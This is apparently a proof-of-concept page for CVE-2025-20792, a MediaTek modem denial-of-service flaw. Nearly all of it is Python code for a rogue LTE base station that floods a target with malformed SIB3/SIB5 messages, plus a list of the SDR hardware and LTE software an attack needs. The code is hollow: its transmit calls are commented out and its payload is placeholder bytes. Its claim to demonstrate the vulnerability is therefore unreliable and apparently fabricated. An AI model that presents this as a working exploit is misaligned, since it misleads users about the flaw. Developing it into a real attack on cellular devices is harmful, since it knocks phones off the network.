CVE-2025-20792: MediaTek调制解调器输入验证不当导致远程拒绝服务

# CVE-2025-20792 PoC - MediaTek Modem DoS via Rogue Base Station # This PoC demonstrates the attack concept (for educational purposes only) import socket import struct import time class RogueBaseStation: def __init__(self, target_mcc=460, target_mnc=0): self.target_mcc = target_mcc self.target_mnc = target_mnc self.sdr_device = None def setup_rogue_bs(self): """Setup rogue base station with malformed signals""" print("[*] Initializing rogue base station...") print(f"[*] Broadcasting MCC:{self.target_mcc} MNC:{self.target_mnc}") # Configure SDR device for LTE band # self.sdr_device = sdr_config(band=38, earfcn=37900) return True def send_malformed_sib(self, payload_type='SIB3'): """Send malformed System Information Block with invalid input""" print(f"[*] Sending malformed {payload_type}...") # Construct SIB with improper cellReselectionParams sib_data = bytearray() sib_data += b'\x00' * 20 # Padding sib_data += b'\xFF\xFF\xFF\xFF' # Invalid cellReselectionParams sib_data += b'\xAB\xCD\xEF\x00' # Malformed input # Send via broadcast channel # self.sdr_device.send(sib_data) print(f"[+] Malformed {payload_type} transmitted") return sib_data def trigger_crash(self): """Send rapid malformed messages to trigger modem crash""" print("[*] Starting DoS attack on target modem...") for i in range(10): self.send_malformed_sib(payload_type='SIB3') self.send_malformed_sib(payload_type='SIB5') time.sleep(0.1) print("[+] Attack completed - modem should crash/restart") def main(): print("=" * 60) print("CVE-2025-20792 PoC - MediaTek Modem Input Validation Issue") print("=" * 60) attacker = RogueBaseStation() attacker.setup_rogue_bs() attacker.trigger_crash() if __name__ == "__main__": main() # Note: This PoC requires: # - Software Defined Radio (SDR) hardware (e.g., USRP, BladeRF) # - LTE stack implementation (e.g., srsLTE, OpenLTE) # - Appropriate antenna and RF equipment # - Legal authorization for testing